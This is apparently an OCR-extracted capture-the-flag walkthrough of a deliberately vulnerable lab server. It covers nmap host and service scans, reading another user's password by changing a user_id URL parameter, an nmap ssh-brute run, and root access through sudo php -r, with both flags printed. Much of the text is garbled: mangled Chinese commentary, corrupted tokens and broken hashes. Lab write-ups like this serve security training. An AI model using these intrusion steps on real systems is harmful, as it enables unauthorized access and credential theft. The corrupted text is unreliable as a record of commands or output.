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ip a

:~$ ip a
<LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default glen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet /8 scope host lo
valid_1ft forever preferred_Llft forever
inet6 /128 scope host
valid 1ft forever preferred 1ft forever
<BROADCAST ,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default glen 1000
link/ether 00:0c:29:4f:8f:19 brd ff:ff:ff:ff:ff:ff
inet /24 brd scope global dynamic noprefixroute eth@
valid_Lft 1762sec preferred_Lft 1762sec
inet6 /64 scope link noprefixroute
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valid 1ft forever preferred 1ft forever
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nmap -sn 192.168.157.0/24

:~$ nmap -sn 192.168.157.0/24
Starting Nmap 7.80 ( https://nmap.org ) at 2021-06-28 15:07 CST
Nmap scan report for 192.168.157.1
Host is up (@.0012s latency).

Nmap scan report for 192.168.157.2
Host is up (@.00048s latencv),

Nmap scan report for [192.168.157.130
Host is up (0.0040s latency).

Nmap scan report for 192.168.157.131
Host is up (0.00058s latency). hit o cedn Detirealme
Nmap done: 256 IP addresses (4 hosts up) scan i LE%TU§E€6Wﬂ5
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:~$ nmap -A 192.168.157.130
Starting Nmap 7.8@ ( https://nmap.org ) at 2021-06-28 15:09 CST
Nmap scan report for 192.168.157.130
Host is up (0.0017s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1pl1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
ssh-hostkey:
1024 57:01:56:58:46:04:33:56:3d:¢c3:4b:a7:93:ee: 16 (DSA)
2048 3b:26:4d:e4:a@:3b:f8:75:d9:6e:15:55: 71:97 (RSA)
256 8f:48:97:9b:55:11:5b:f1:6¢c:1d:b3:4a:b :b® (ECDSA)
256 d@:c3:02:al:ch:c2:a8:ac:3b:84:ae:8f:e5:79:66:76 (ED25519)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
_http-server-header: Apache/2.4.7 (Ubuntu)
_http-title: Site doesn't have a title (text/html).
Service Info: 0S: Linux; CPE: cpe:/o:Llinux:Llinux_kernel

Service detection performed. Please report any incorrect results at https://n
Nmap done: 1 IP address (1 host up) scanned in 6.71 seconds hit
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Welcome To Ceban Corp

Inspiring The People To Great Again!
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Name |manlu |
Email [123@123 |
Username |manlu |

Password |-»--- |
BRZIERB|ER
< C A FZ==| 192.168.157.130/index.php?page=dashboard&user id=12

Welcome To Ceban Corp

Inspiring The People To Great Again!

Dashboard | Profile | Logout

Wellcome Back!

Are you ready for Inspiring The People? Let's Do It!
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Name |manlu |
Username |manlu |
Password | «---- |
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Yid=1/}, 5%IH Feweuhtandingan, ##gskuyatuh

Mame |Eweuh Tandingan |
Username |eweuhtandingan |
Password |skuyatuh |
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input type="password” name="password” id="password” value="skuyatuh

input type name="password” id="password” value="skuyatuh ==
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sshi i
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uname.txt

SR 5 8 nmap i T sshi@E i

nmap -p 22 --script=ssh-brute --script-args userdb=uname.txt,passdb=passwd.txt 192.168.157.130
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alice@gfriEND:~% pwd
/h lice
alice@gfriEND:~% whoami
alice
alice@gfriEND:~%
.bash_logout .bashrc .profile
alice@gfriEND:~%

BH—AeEJem i my_secret” (REIFZE)
cdif ZEE XM, KIiflag.txt
BEflagI A S

cat flagl.txt

alice@gfriEND:~/ . m) ret$ cat flagl.txt

Greattttt my brot You saw the Alice's note! Mow you save the record information to give to bob! I know if it's given to him then Bob will be hurt but this is better than Bob cheated!
Me ur last job is get access to e t and read the flag " "

Flag 1 : gfriEND{2f5f21b2aflb8c

Greattttt my brother! You saw the Alice
s given to him then Bob will be hurt but this is better than Bob cheated

Now your last job is get access to the root and read the flag ~ *

Flag 1 : gfriEND{2f5f21b2af1b8c3e227bcf3554418f09
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HIRBATAT ME A php, 2238 F php#R AL
2 18 K2 K18 & https://blog.csdn.net/qq_45924653/article/details/108466845
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MD

sudo php -r $CMD

HATREEE, #iAwhoami, RILME T2 ZrootT

em("SCMD" ) ;"

whoami

root

cd®rootH # & FHflag2
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Yeaaahhhh You have successfully hacked this company server! I hope you who have just learned can get new knowl
edge from here :) I really hope you guys give me feedback for this challenge whether you like it or not because

it can be a reference for me to be even better! I hope this can continue :)

Contact me if you want to contribute / give me feedback / share your writeup

Twitter: @makegreatagain_

Instagram: @aldodimas73

Thanks! Flag 2: gfriEND{56fbeef560930e77ff984b644fde66e7}
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